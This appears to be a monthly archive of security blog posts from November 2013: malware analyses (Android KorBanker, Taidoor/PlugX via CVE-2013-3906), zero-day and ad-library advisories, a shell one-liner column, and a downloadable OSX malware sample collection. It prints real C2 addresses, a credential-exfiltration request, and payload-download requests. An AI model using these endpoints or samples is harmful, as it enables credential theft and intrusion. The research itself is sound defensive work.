Monthly Archives: November 2013

MS Windows Local Privilege Escalation Zero-Day in The Wild

FireEye Labs has identified a new Windows local privilege escalation vulnerability in the wild. The vulnerability cannot be used for remote code execution but could allow a standard user account to execute code in the kernel. Currently, the exploit appears to only work in Windows XP.

This local privilege escalation vulnerability is used in-the-wild in conjunction with an Adobe Reader exploit that appears to target a patched vulnerability. The exploit targets Adobe Reader 9.5.4, 10.1.6, 11.0.02 and prior on Windows XP SP3. Those running the latest versions of Adobe Reader should not be affected by this exploit.

Post exploitation, the shellcode decodes a PE payload from the PDF, drops it in the temporary directory, and executes it.

Mitigations

The following actions will protect users from the in-the-wild PDF exploit:

1) Upgrade to the latest Adobe Reader

2) Upgrade to Microsoft Windows 7 or higher

This post was intended to serve as a warning to the generic public. We are collaborating with the Microsoft Security team on research activities. Microsoft assigned CVE-2013-5065 to this issue.

We will continue to update this blog as new information about this threat is found.

[Update]: Microsoft released security advisory 2914486 on this issue.

Dissecting Android KorBanker

FireEye recently identified a malicious mobile application that installs a fake banking application capable of stealing user credentials. The top-level app acts as a bogus Google Play application, falsely assuring the user that it is benign.

FireEye Mobile Threat Prevention platform detects this application as Android.KorBanker. This blog post details both the top-level installer as well as the fake banking application embedded inside the top-level app.

The app targets the following banks, all of which are based in Korea.

  • Hana Bank
  • IBK One
  • KB Kookmin Bank
  • NH Bank
  • Woori Bank
  • Shinhan Bank

Once installed, the top-level application presents itself as a Google Play application. It also asks the user for permission to activate itself as a device administrator, which gives KorBanker ultimate control over the device and helps the app stay hidden from the app menu.

 

The user sees the messages in Figure 1 and Figure 2.

korbanker_1

The message in Figure 2 translates to: “Notification installation file is corrupt error has occurred. Sure you want to delete the corrupted files?”

When the user clicks taps the “Yes’ button, KorBanker hides itself from the user by calling the following Android API:

getPackageManager().setComponentEnabledSetting(new ComponentName("com.pro.www", "com.pro.www.MainActivity"), 2, 1)

The arguments “2” and “1” which are being passed to the above function are explained below.

The 2 argument represents is the value for the COMPONENT_ENABLED_STATE_DISABLED flag, which causes the component to be disabled from the menu of apps.

The 1 argument is the value for the DONT_KILL_APP flag, which indicates that the app should not be killed and continue running in the background.

After installation, the app checks whether any of the six targeted banking applications have been installed. If it finds any, it deletes the legitimate banking application and silently replaces it with a fake version. The fake versions of the banking applications are embedded in the “assets” directory of the top-level APK.

Initial registration protocol

The top-level APK and the embedded fake banking app register themselves with their respective command-and-control (CnC) servers. The following section explains the registration process.

Top-level app

The top-level app registers itself by sending the device ID of the phone to the remote CnC server packed in a JavaScript Object Notation (JSON) object. The data packet excerpt is shown in Figure 3. This is the first packet that is sent out once the app is installed on the device.

korbanker3

Figure 3: KorBanker data packet during registration

The packet capture shown in Figure 3 shows the structure of the registration message. The bytes highlighted in red indicate the CnC message code of 0x07(decimal 7) which translates to the string addUserReq.

Outlined in yellow is length indicator — 0x71(113 bytes)— followed by the JSON object containing the Device ID and the phone number of the device. The values for callSt and smsSt are statically set to 21 and 11, respectively.

The response bytes shown in black containing 0x04 and 0x01 map to the command addUserAck. They are sent by the server to acknowledge the receipt of the previously sent addUserReq. Code inside the application invokes various functions as it receives commands. These functions may exist for future updates of the application.

korbanker4

Figure 4: KorBanker code for sending incoming messages to CnC server

Once the installation of the app has been registered, the app waits for incoming messages on the phone, possibly looking for access codes that arrive as a part of two factor authentication methods for one of the six targeted banks. All incoming messages to the phone are intercepted and sent to the CnC server 180.214.160.70 on port 8888 as shown in Figure 4.

The bytes highlighted in red after the response show the message code of 0x08 (Decimal 8), which translates to the command addSmsReq. This is followed by the size of the message. The Device ID is sent at the end of the data packet to identify the device from which this message was seen with the timestamp. It also suppresses the SMS notifications from the user and deletes the message from the device.

The remote CnC infrastructure is based on numeric codes. These codes are stored in a data structure in the app. All incoming messages and responses from the CnC server arrive in numeric codes and get translated into corresponding strings, which in turn drive the app to perform different tasks.

Table 1 shows the CnC commands supported by the top-level app. All the commands ending with “Req” correspond to the infected client requests made to the CnC server. All the commands ending with “Ack” indicate acknowledgements of the received commands.

korbankertable

Fake banking app 

The fake banking app once installed registers with a CnC server on a different IP address by sending the HTTP request shown below.

korbanker5

Figure 5: Data capture showing the installation of the fake banking app 

Once the phone is registered, the user is presented with the following fake login page of the banking app, which prompts the user for banking account credentials. All these credentials are stored internally in a JSON object. korbanker_6

The user is then prompted for a SCARD code and 35-digit combination, which is recorded into the JSON and sent out to ‘http://180.214.160.70/send_bank.php as follows:

{ "renzheng" : "1234",

"fenli" : "1234",

"datetime" : "2013-08-12 12:32:32",

"phone":'8889991111',

"bankinid": '1234',

"jumin": '1234',

"banknum" : '1234',

"banknumpw" : '1234',

"paypw" : 'test',

"scard" : "1234567890",

"sn1" : "1234",

"sn2" : "1234",

"sn3" : "1234",

....

....

"sn34" : "1234",

"sn35" : "1234"

}

The response received is as follows:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Connection: close

Content-Type: text/html

Date: Fri, 22 Nov 2013 02:05:00 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

 

Conclusion

This malware sample takes extra measures to obtain banking credentials. With the increased usage of mobile devices and with the liberal permission allotment to apps that appear benign we are now at an increased risk of monetary losses on the mobile front. Mobile banking is not completely void of its adversaries. KorBanker is a vivid reminder of just how dangerous apps from untrusted sources can be.

Episode #172: Who said bigger is better?

Tim sweats the small stuff

Ted S. writes in:

"I have a number of batch scripts which turn a given input file into a configurable amount of versions, all of which will contain identical data content, but none of which, ideally, contain the same byte content. My problem is, how do I, using *only* XP+ cmd (no other scripting - PowerShell, jsh, wsh, &c), replace the original (optionally backed up) with the smallest of the myriad versions produced by the previous batch runs?"

This is pretty straight forward, but it depends on what we want to do with the files. I assumed that the larger files should be deleted since they are redundant. This will leave us with only the smallest file in the directory. Let's start off by listing all the files in the current directory and sort them by size.

C:\> dir /A-D /OS /b
file3.txt
file2.txt
file1.txt
file4.txt

Sorting the files, and only files, in the current directory by size is pretty easy. The "/A" option filters on the object's properties and directories are filtered out with "-D". Next, the "/O" option is used to sort and the "S" tells the command to sort putting the smallest files first. Finally, the "/b" is used to show the bare format.

At this point we have the files in the proper order and in a nice light format. We can now use a For loop to delete everything while skipping the first file.

C:\> for /F "tokens=* skip=1" %i in ('dir /A-D /OS /b') do @del %i

Here is the same functionality in PowerShell:

PS C:\> Get-ChildItem | Where-Object { -not $_.PSIsContainer } | Sort-Object -Property Length | Select-Object -Skip 1 | Remove-Item

This is mostly readable. The only exception is the "PSIsContainer". Directories are container objects but files are not, so we filter out the containers (directories). Here is the same command shortented using aliases and positional parameters:

PS C:\> ls | ? { !$_.PSIsContainer } | sort Length | select -skip 1 | rm

There you go Ted, and in PowerShell even though you didn't want it. Here comes Hal brining something even smaller you don't want.

Hal's is smaller than Tim's... but less sweaty

Tim, how many times do I have to tell you, smaller is better when it comes to command lines:

ls -Sr | tail -n +2 | xargs rm

It's actually not that different from Tim's PowerShell solution, except that my "ls" command has "-S" to sort by size as a built-in. We use the "-r" flag to reverse the sort, putting the smallest file first and skipping it with "tail -n +2".

If you're worried about spaces in the file names, we could tart this one up a bit more:

ls -Sr | tail -n +2 | tr \\n \\000 | xargs -0 rm

After I use "tail" to get rid of the first, smallest file, I use "tr" to convert the newlines to nulls. That allows me to use the "-0" flag to "xargs" to split the input on nulls, and preserves the spaces in the input file names.

What may be more interesting about this Episode is the command line I used to create and re-create my files for testing. First I made a text file with lines like this:

1 3
2 4
3 1
4 2

And then I whipped up a little loop action around the "dd" command:

$ while read file size; do 
dd if=/dev/zero bs=4K count=$size of=file$file;
done <../input.txt

3+0 records in
3+0 records out
12288 bytes (12 kB) copied, 6.1259e-05 s, 201 MB/s
4+0 records in
4+0 records out
16384 bytes (16 kB) copied, 0.000144856 s, 113 MB/s
1+0 records in
1+0 records out
4096 bytes (4.1 kB) copied, 3.4961e-05 s, 117 MB/s
2+0 records in
2+0 records out
8192 bytes (8.2 kB) copied, 4.3726e-05 s, 187 MB/s

Then I just had to re-run the loop whenever I wanted to re-create my test files after deleting them.

Interview with Martin Roesch, Drunken Security News – Episode 354 – November 21, 2013

Martin Roesch is the VP and chief architect, Security Business Group at Cisco.A respected authority on intrusion prevention and detection technology and forensics, he is responsible for the technical direction and product development efforts for Sourcefire's commercial and open source product offerings. Roesch, who has nearly 20 years of industry experience in network security and embedded systems engineering, is also the author and lead developer of the Snort® Intrusion Prevention and Detection System (www.snort.org) that forms the foundation for the Sourcefire Next-Generation IPS.

OSX malware and exploit collection (~100 files) + links and resources for OSX malware analysis



'Tis the season.

Here is a nice collection of ~100 Mac OS malware and Word document exploits carrying MacOS payload (all are CVE-2009-0563) along with links for OSX malware analysis.

Please send your favorite tools for OSX if they are not listed.




CVE-2009-0563

CVE-2009-0563
Stack-based buffer overflow in Microsoft Office Word 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Microsoft Office for Mac 2004 and 2008; Open XML File Format Converter for Mac; Microsoft Office Word Viewer 2003 SP3; Microsoft Office Word Viewer; and Microsoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a Word document with a crafted tag containing an invalid length field, aka "Word Buffer Overflow Vulnerability."



Links



Some OSX malware analysis tools and links 


Tools


Malware in the provided package - links to research and news articles






Download



Download. Email me if you need the password
OSX_CrisisB_a32e073132ae0439daca9c82b8119009 
Additional older downloads

  1. OSX_Docklight payload  http://contagioexchange.blogspot.com/2012/05/019-speechdoc-macosxms09-027a-word.html 
  2. misc OSX malware on contagio http://contagiodump.blogspot.com/search/label/-%20OSX
  3. 30 samples of ancient Mac OS malware http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html



List of files provided in this post


  1. OSX_AoboKeylogger_362D5DDB3924C625589B42030B66CA69
  2. OSX_BackTrack-A_B03276BFBF85CFDD7C8998004C1200DA
  3. OSX_Boonana_B3A0B0DA5AA01FF200CEBC8AF359A3C3
  4. OSX_ChatZum_487E5CD581587D63783CDD356DE9CF24
  5. OSX_ChatZum_57A4EB15CAA4FCC0A8F6AFBBD66C4859
  6. OSX_Clapzok_99FE5AD5FF514F5AAEA8E501DDBAF95B
  7. OSX_Crisis_04BBDA5B11FA0FD3C767CAF4719D6A4D
  8. OSX_Crisis_42C112036E319ED8DF0F55C7F4C0DA85
  9. OSX_CrisisBOSX_CrisisB_a32e073132ae0439daca9c82b8119009 _a32e073132ae0439daca9c82b8119009 
  10. OSX_Crisis_59FE83E0AE12E085E0FA301ECCA6776F
  11. OSX_Crisis_6F055150861D8D6E145E9ACA65F92822
  12. OSX_Crisis_A32E073132AE0439DACA9C82B8119009_Biglietto Visita
  13. OSX_Crisis_ACEC5F00057D3EC94849511F3EDDCB91
  14. OSX_Crisis_FAAB883598C8C379ACFD0B9DCCC93D0C
  15. OSX_Dockster_Backdoor_C6CA5071907A9B6E34E1C99413DCD142
  16. OSX_FkCodec_74812C7B6E0A55347284ABFA7D5670BF
  17. OSX_FkCodec_74812C7B6E0A55347284ABFA7D5670BF_Codec-M
  18. OSX_FkCodec_B4ECE10D1E706B87B065523A654D48A7_download.dmg
  19. OSX_FkCodec1C5AE9F1DD9FE6F506EAABD382925CA8_codec-M.safariextz
  20. OSX_Flashback_3DCB6D6A9EA8D9755EB61AE057B3D74A
  21. OSX_Flashback_9FCFE8EF92F51F1C29A26E1516EF7003_FlashPlayer-11-macos.pkg
  22. OSX_Flashback_C2819C3C183BBF7547CF76C6A004EA15_FlashPlayer-11-macos.pkg
  23. OSX_Fucobha_IceFog_A615DD792093191E9FC975132A2DB409A_CleanMyMac
  24. OSX_Fucobha_IceFog_B4249F9B49A9A177B4D2F4439373029A
  25. OSX_Fucobha_IceFog_CF1815491D41202EB8647341A8695E1E
  26. OSX_GetShell_68078CBD1A34EB7BE8A044287F05CCE4
  27. OSX_GetShell_AC99ACE403D31C7079C938F9B0FD0895
  28. OSX_GetShell_ACC2B4A595939F17F7D07DE2CF75CDC8
  29. OSX_Hacktool_Hoylecann_FED8E22AE6F080F9B05A309C7E48B5EF
  30. OSX_HellRaiser_CA74984601287459AFB7B39EBEBDD394
  31. OSX_HellRTS.AH_KeystrokeRecorder X Pref Editor_C19377D07A234D1585D85F8FA3CF77FB
  32. OSX_HellRTS_F1AD75AEB4B4C2883DF2221C8804DA2A.AH
  33. OSX_Hovdy_Backdoor_FED713CAC7012D25F60B236E6DDCF513
  34. OSX_Inqtana.zip
  35. OSX_Iservice_4C9E7EE7C0F5C19C68B45CA6C81F8D62
  36. OSX_Iservice_E34BA325F3EEB8DF07A09EE9FBF1071D
  37. OSX_Jahlav_12F32EACBB3CD2C5623EE6976A51913A_QuickTime.xpt
  38. OSX_Jahlav_CCB72243EF478EEFE90B5898EC32389B
  39. OSX_Jahlav_D7DDF72D17F889C2C5B302AC0A5FBDC5
  40. OSX_Jahlav_FB79A75A6152EF47BBF88AE8544545CC.pl
  41. OSX_Jahlav_flash.zip
  42. OSX_Kitmos_A_39FAA22EB9D6B750EC345EFCB38189F5
  43. OSX_Kitmos_A_3AA9C558D4D5F1B2A6D3CE47AA26315F
  44. OSX_Kitmos_A_B3D49091875DE190F200110C2F2032D4
  45. OSX_Lamadai_20F0D0CE8A413A51EB16DEE860021E6A
  46. OSX_Lamadai_DE90189F040494E3708D83A33E37E40E
  47. OSX_Leverage_A_Backdoor_C425D2BE8B4AF733A44EC1518F182BE8
  48. OSX_LocalRoot_3DC01743FB42E917E9F9EDE5009F10CD
  49. OSX_Macarena_A_BFC7B7B9D3E1DF9D6E1A31D3E7BED628
  50. OSX_MacDefender_8AE7163C7C3C02564A4C69DF1F7C483E_Archive.pax
  51. OSX_MacDefender_E187F4071723808560E135647245562A_Archive.pax
  52. OSX_MacKontrol_89C35C057655E67580EFD0FF8242D960
  53. OSX_MacKontrol_E88027E4BFC69B9D29CAEF6BAE0238E8_matiriyal.dmg
  54. OSX_Macsweeper_4836CC480796386ED6929C38E5AAD525
  55. OSX_Miner_DevilRobber_417369B713F1A5F3A3DC0DAF76BDCFD6
  56. OSX_Miner_DevilRobber_EE2BA586232007FA41703EB120AC7408
  57. OSX_Miner_F8EBF03E88928EBF91A8420E3D5993FE
  58. OSX_Olyx_Backdoor_93A9B55BB66D0FF80676232818D5952F
  59. OSX_Olyx_Backdoor_93A9B55BB66D0FF80676232818D5952F_Current events 2009 July 5
  60. OSX_OpinionSpy_C98AE54F4BE1082B4E82548D7511077E_Crystal-Clock-screensaver.zip
  61. OSX_OpinionSpy_CC33C95C59372AFCA60A0552A58D0EF8_Crystal-Clock-screensaver.zip
  62. OSX_PSides_32F4792B1141BA259067F9613E2E88B5
  63. OSX_PUP_AABEDBAAB63EF19657A3A82C930CCE18_Genieo_InstallGenieo.dmg
  64. OSX_PUP_PerfectKeylog_1B192319C8F41036A2D6B8E987809D42
  65. OSX_Renepo_80753666A54A8AE97BD6ED3A4E2F3702
  66. OSX_RevirA_FE4AEFE0A416192A1A6916F8FC1CE484_revir-a.dmg
  67. OSX_RevirC_Imuler_7DBA3A178662E7FF904D12F260F0FFF3
  68. OSX_Safari_B24C0E60AF3D3E836FBE8A92FBCC8EB7.dat
  69. OSX_SniperSpy
  70. OSX_Wirenet_50D4F0DA2E38874E417BD13B59F4C067
  71. OSX_Wirenet_B56AD86A4BACEF92EF46D36EABEF6467
  72. OSX_Wirenet_D048F7AE2D244A264E58AF67B1A20DB0
  73. OSX_Yontoo_16ACCB0ABC051D667640B1EE4FF3A7A1
  74. OSX_Yontoo_7C433B3AC0E8072BA5E6B57298E1B28B
  75. OSXWeapoX_7FDEBB5FEC63FB3739A79A66265BB765



EXPLOITS
OSX_CVE-2009-0563 targeting Tibetan and Uyghur activists (filenames shortened here)

  1. 0DA957B9B952420241F945A9A2C52A50_C2-alma.apple.cloudns.org_ParticipantsArrivalDeparture.doc
  2. 0E5110493FD197813068310E57467B44_C2-alma.apple.cloudns.org _Uighur Han unrest.doc
  3. 0E945428D07464EC33EBDFF5712FE788_C2-update.googmail.org_Jenwediki yighingha.doc
  4. 1218840F3B66832CC58C33C75AD3D419_C2-update.googmail.org_Uyghur_Xitayning Yengi Rehberlik.doc
  5. 1CE3C4A8907A242250D366586711CBDC_C2-alma.apple.cloudns.org _Rabiye_hanim_bilen_Dolkun_Isa.doc
  6. 2567399683111CFCB838C5DA80DF181D_Tibetan Parliament urges World to take concrete step on Tibet.doc
  7. 28821C5FD38B11EE630D87961C11A3D7_DUQning reyisi namzatlar isimliki.doc
  8. 3D28AE551B9BD4C62FFC6C72F5668D96_Tibet_The United Nations Commission for Human Rights.doc
  9. 3D90D04C09C6B4D5D52888C89BDE9685_Tibetan Parliament urges World.doc
  10. 567ECE88B2D6F4F12F0D0760C30605EE_C2-apple12.crabdance.com_list.doc
  11. 58A0A5824A6B30EA7EEBBB51818AE04B_uYGHUR_Jenwe yinghinining xeweri.doc
  12. 786A7D1A1DCEC50E6A89E3CC8F33A3AE_Uyghur_Dunya Uyghur Qurultayigha iane qilish toghrisida.doc
  13. 7D7A5C530A7DBF24C42145A0EFCC8669_kurban-bayrami.doc
  14. 8618BCCB98F7D20634EBEDC488981E86_C2-update.googmail.org_email73.doc
  15. 908116A30F53EDF9D1749E3F0F267680_Website-TGSL.doc
  16. 9F9F96D5C882528D08315201042647DF_C2-update.googmail.org_Uyghur_The Duke Program.doc
  17. BA76DE3471497A8B1858AF4A8C700AE1_www.uyghurcongress.org.doc
  18. C024E159A96F3292915B257070FC3325_Sartin-TGSL.doc
  19. DD7C486BC17772A5E96425271FA5ED4D_c2-apple12.crabdance.com_10. Jahresgedenktag.doc
  20. E510AE50B0344EFBE1F8888771C7446C_www.tughlan.com.doc
  21. E683339BCCFDEB0F06C7E567F2C284C5_Planning for action.doc
  22. ECE44C00D46BE019AFF38FD5D31B9110_C2-update.googmail.org_UAA 2012 Saylam Komtiti saylam.doc
  23. F81775C93F7337E0664F1D106E13C7B3_C2-update.googmail.org_Uyghur_Human Rights Education.doc
  24. FBE399BF714184ED7FEA313F36A86514_C2-apple12.crabdance.com_Uyghur_Putun Dunyadiki Sherqi.doc
  25. MacOSSabpub-A_43F281076E185E55BECE7EB2F0EC8164.doc


Reporting Suspicious Styles

Back in 2008, the very first task that I created Unmask Parasites for was scanning web pages for hidden links.

I read an article about thousands of WordPress blogs being stuffed with dozens of invisible spammy links. I had a self-hosted WordPress blog too and that article made me think if there was some easy way to figure out whether my blog was hacked, something less laborious than manually examining the HTML code link by link. So I decided to create a tool that would show all domains that my web pages linked to highlighting those of them that had “invisible” styles. This approach has proved to be very efficient in identifying black hat SEO hacks. In most cases, a glance is enough to spot such problems.

It works well even when the tool doesn’t highlight links as “hidden” (either because the “hiding rule” was not detected or because it scanned the “cloaked” page created specifically for search engines). You can still see the links that clearly don’t belong to your site, which tells you that something’s wrong.

However, looking for suspicious links is not the bullet-proof method for detecting spam injection issues. For example, in my yesterday’s post on Sucuri blog, I wrote about fake WordPress plugins that used to injects spammy links and a JavaScript code into web pages. However, at the moment, they inject some hidden spammy auto-generated text that doesn’t have any links.

spammy block

You can use this Google query to reveal affected sites [cigarettes AND (“3200 unhealthy” OR “3300 hazardous”)]

I don’t know why they do it, but webmasters should definitely be warned about such injections because it’s a sign of a problem that should be fixed as soon as possible. This is actually more serious than just a factor that can potentially affect site’s search ranking. Those fake plugins fetch the spammy content from remote servers and inject it into blog pages on the fly. This means that hackers can change it any time and the same moment the new spammy block will be injected into all compromised sites. Or it can be a malicious block, which makes things more serious as it will affect all visitors to those sites too.

Unfortunately, such injections were not reported by Unmask Parasites since there were no links in the spammy block. After thinking about the problem, I decided that Unmask Parasites should also report pure HTML tricks such as that clip:rect style trick that hackers use to hide their injections.

So , starting this week, you may see the “Suspicious Styles” section in Unmask Parasites reports.

suspicous style

In this section, you will see excerpts of the style definitions that Unmask Parasites considers suspicious. If you see it in your site reports, then you should check the HTML code of your pages and figure out whether that style is a normal part of your pages or it was added there to hide something illicit.

Note, if you can’t find such code in your web pages, it doesn’t mean it is not there. The code injection can be conditional, and server files may fetch it from a remote location (as in this case with fake WordPress plugins), or it can be encrypted. Just remember that Unmask Parasites works in real time (some results may be cached for up to an hour) and if it reports something, then you can be sure it was on a web page at the moment of scanning.

To Unmask Parasites users

If you like Unmask Parasites and want to help improve it, you can inform me about interesting tricks that hackers use to hide injected content Or send me examples of infected web pages where Unmask Parasites doesn’t report any problems.

Thanks!

Related posts:

Is MAM Identity and Access Management’s next big thing?

Mobile Application Management is making waves. Recent news from Oracle, IBM, and Salesforce highlight the market interest. It's a natural extension of what you've been hearing at Identity trade shows over the past few years (and this year's Gartner IAM Summit was no exception). The third platform of computing is not a future state. It's here. And Identity and Access solutions are adapting to accommodate the new use case scenarios. ...onward and upward.

[Update - interesting discussion of the IAM technology stack for mobile by SIMIEO]

Advanced Malware Analysis Training Session 10 – (Part 1) Reversing & Decrypting Communications of HeartBeat RAT

  Here is the quick update on this month’s Local Security meet (SX/Null/G4H/owasp) and our advanced malware training session on (Part 1) Reversing & Decrypting Communications of HeartBeat RAT This is part of our FREE ‘Advanced Malware Analysis Training’ series started from Dec 2012.       In this extended session, I explained “Decrypting The […]

Monitoring Vulnaggressive Apps on Google Play

Vulnaggressive Characteristics in Mobile Apps and Libraries

FireEye mobile security researchers have discovered a rapidly-growing class of mobile threats represented by popular ad libraries affecting apps with billions of downloads. These ad libraries are aggressive at collecting sensitive data and able to perform dangerous operations such as downloading and running new code on demand. They are also plagued with various classes of vulnerabilities that enable attackers to turn their aggressive behaviors against users. We coined the term “vulnaggressive” to describe this class of vulnerable and aggressive characteristics. We have published some of our findings in our two recent blogs about these threats: “Ad Vulna: A Vulnaggressive (Vulnerable & Aggressive) Adware Threatening Millions” and “Update: Ad Vulna Continues”.

As we reported in our earlier blog “Update: Ad Vulna Continues”, we have observed that some vulnaggressive apps have been removed from Google Play, and some app developers have upgraded their apps to a more secure version either by removing the vulnaggressive libraries entirely or by upgrading the relevant libraries to a more secure version which address the security issues. However, many app developers are still not aware of these security issues and have not taken such needed steps. We need to make a community effort to help app developers and library vendors to be more aware of these security issues and address them in a timely fashion.

To aid this community effort, we present the data to illustrate the changes over time as vulnaggressive apps are upgraded to a more secure version or removed from Google Play after our notification. We summarize our observations below, although we do not have specific information about the reasons that caused these changes we are reporting.

We currently only show the chart for one such vulnaggressive library, AppLovin (previously referred to by us as Ad Vulna for anonymity). We will add the charts for other vulnaggressive libraries as we complete our notification/disclosure process and the corresponding libraries make available new versions that fix the issues.

The Chart of Apps Affected by AppLovin

AppLovin (Vulna)’s vulnerable versions include 3.x, 4.x and 5.0.x. AppLovin 5.1 fixed most of the reported security issues. We urge app developers to upgrade AppLovin to the latest version and ask their users to update their apps as soon as the newer versions are available.

The figure below illustrates the change over time of the status of vulnerable apps affected by AppLovin on Google Play. In particular, we collect and depict the statistics of apps that we have observed on Google Play with at least 100k downloads and with at least one version containing the vulnerable versions of AppLovin starting September 20. Over time, a vulnerable app may be removed by Google Play (which we call “removed apps”, represented in gray), have a new version available on Google Play that addresses the security issues either by removing AppLovin entirely or by upgrading the embedded AppLovin to 5.1 or above (which we call “upgradable apps”, represented in green), or remain vulnerable (which we call “vulnerable apps”, represented in red), as shown in the legend in the chart.

Please note that we started collecting the data of app removal from Google Play on October 20, 2013. Thus, any relevant app removal between September 20 and October 20 will be counted and shown on October 20. Also, for each app included in the chart, Google Play shows a range of its number of downloads, e.g., between 1M and 5M. We use the lower end of the range in our download count so the statistics we show are conservative estimates.

applovin1117

We are glad to see that over time, many vulnerable apps have been either removed from Google Play or have more secure versions available on Google Play. However, apps with hundreds of millions of downloads in total still remain vulnerable. In addition, note that while removing vulnaggressive apps from Google Play prevents more people from being affected, the millions of devices that already downloaded them remain vulnerable since they are not automatically removed from the devices. Furthermore, because many users do not update their downloaded apps often and older versions of Android do not auto-update apps, even after the new, more secure version of a vulnerable app is available on Google Play, millions of users of these apps will remain vulnerable until they update to the new versions of these apps on their devices. FireEye recently announced FireEye Mobile Threat Prevention. It is uniquely capable of protecting its customers from such threats.

Interview with Kyle “esSOBI” Stone, Deciphering Episode 350’s Crypto Challenge – Episode 353, Part 1 – November 14, 2013

Kyle is an information security engineer who devotes his spare time to exploiting the ‘internet of things’. He enjoys lockpicking, CTFs, tinkering with electronics, exploit development and blogging about his findings. He is the founding member of Louisville Organization of Locksport.

Walkthrough the Episode 350 Crypto Challenge puzzle with Mike Connor, a senior member of the Analysis team at Dell SecureWorks. He is a big supporter of all things Chicago, specifically THOTCON , BsidesChicago, and all of the different Burbsec groups.

Interview with Dan Philpot, Stealing Tokens for Privilege Escalation, Exploit Development with Mona.py – Episode 351 – October 28, 2013

Dan Philpott is a Solutions Architect with Natoma Technologies working with Federal customers on cloud computing and federal information security projects. His work focuses on federal information security initiatives including FISMA, cybersecurity, FDCC, USGCB, HSPD-12, risk management and other federal information assurance initiatives. Has worked on federal cloud computing security with the Cloud Security Alliance and has participated in Federal CIO Council cloud and FedRAMP efforts. Founder of FISMApedia.org, information security instructor with Potomac Forum and co-author of "FISMA and the Risk Management Framework" from Syngress. He is fully buzzword compliant and an owner of the coveted Application Security Specialist baseball cap, known in security circles as the ASS hat.

Exploit Proliferation: Additional Threat Groups Acquire CVE-2013-3906

Last week, we blogged about a zero-day vulnerability (CVE-2013-3906) that was being used by at least two different threat groups. Although it was the same exploit, the two groups deployed it differently and dropped very different payloads. One group, known as Hangover, engages in targeted attacks, usually, against targets in Pakistan. The second group, known as Arx, used the exploit to spread the Citadel Trojan, and we have found that they are also using the Napolar (aka Solar) malware. [1]

Looking at the time of the first known use of the exploit, we noted that the Arx group appeared to have had access to this exploit prior to the Hangover group. Subsequent research by Kaspersky has found that this exploit was used in July 2013 to spread a cross-platform malware known as Janicab. Interestingly, the Janicab samples have exactly the same CreateDate and ModifyDate as the Arx samples. However, the ZipModifyDate is different. They also contain the same embedded TIFF file (aa6d23cd23b98be964c992a1b048df6f).

While the Janicab activity dates the use of CVE-2013-3906 to July, other groups, including those associated with advanced persistent threat (APT) activity, have now begun to use this exploit as well. We have found that CVE-2013-3906 is now being used to drop Taidoor and PlugX (which we call Backdoor.APT.Kaba). Interestingly, the version of the exploit used contains elements that are consistent with the Hangover implementation. Both the Taidoor and PlugX samples have EXIF data that is consistent with a Hangover sample. In addition, the samples share the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1).

Taidoor

The Taidoor malware has been used in numerous targeted attacks that typically affect Taiwan-related entities. We recently blogged about modifications that have been made to the Taidoor malware. This new version of Taidoor is being dropped by malicious documents using the CVE-2013-3906 exploit. The malware is being distributed via an email purporting to be from a Taiwanese government email address.

taidooremail

The Taidoor sample we analyzed (6003b22d22af86026afe62c39316b9e0) has the same CreateDate and ModifyDate as the Hangover samples we analyzed. It also shares an exact ZipModifyDate with one of the Hangover samples. (There are variations in the ZipModifyDate among the Hangover samples).

  • CreateDate                : 2013:10:03 22:46:00Z
  • ModifyDate                : 2013:10:03 23:17:00Z
  • ZipModifyDate           : 2013:10:17 14:21:23

It also contains other EXIF data that matches a Hangover sample (and the PlugX sample discussed below):

  • App Version                     : 12.0000
  • Creator                            : Win7
  • Last Modified By              : Win7
  • Revision Number             : 1

The sample also contains the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1). This indicates that they were probably built with the same weaponizer tool.

After the exploit is triggered a connection is made to a retrieve an EXE from a webserver:

GET /o.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

Host: 202.81.251.205

Connection: Keep-Alive

This EXE is Taidoor and it is configured to beacon to two command and control (CnC) servers: 58.26.15.106 and 81.10.28.171.

GET /user.jsp?ij=oumded191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: 58.26.15.106

Connection: Keep-Alive

Cache-Control: no-cache

GET /parse.jsp?js=iwmnxw191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: 81.10.28.171

Connection: Keep-Alive

Cache-Control: no-cache

We have located an additional sample (5c8d7d4dd6cc8e3b0bd6587221c52102) that also retrieves Taidoor:

GET /suv/update.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

Host: 118.175.7.74

Connection: Keep-Alive

This sample beacons to the command and control server: accountcreditbalance.accountcreditbalance.trickip.net (118.175.7.74).

GET /parse.jsp?ne=vyhavf191138F9744C HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: accountcreditbalance.accountcreditbalance.trickip.net

Connection: Keep-Alive

Cache-Control: no-cache

PlugX (Kaba)

The PlugX malware (aka Backdoor.APT.Kaba) has been used in a variety of targeted attacks. We located a malicious document (80c8ce1fd7622391cac892be4dbec56b) that exploits CVE-2013-3906. This sample contains the same CreateDate and ModifyDate and shares a common ZipModifyDate with both the Taidoor samples and one of the Hangover samples.

  • CreateDate                : 2013:10:03 22:46:00Z
  • ModifyDate                : 2013:10:03 23:17:00Z
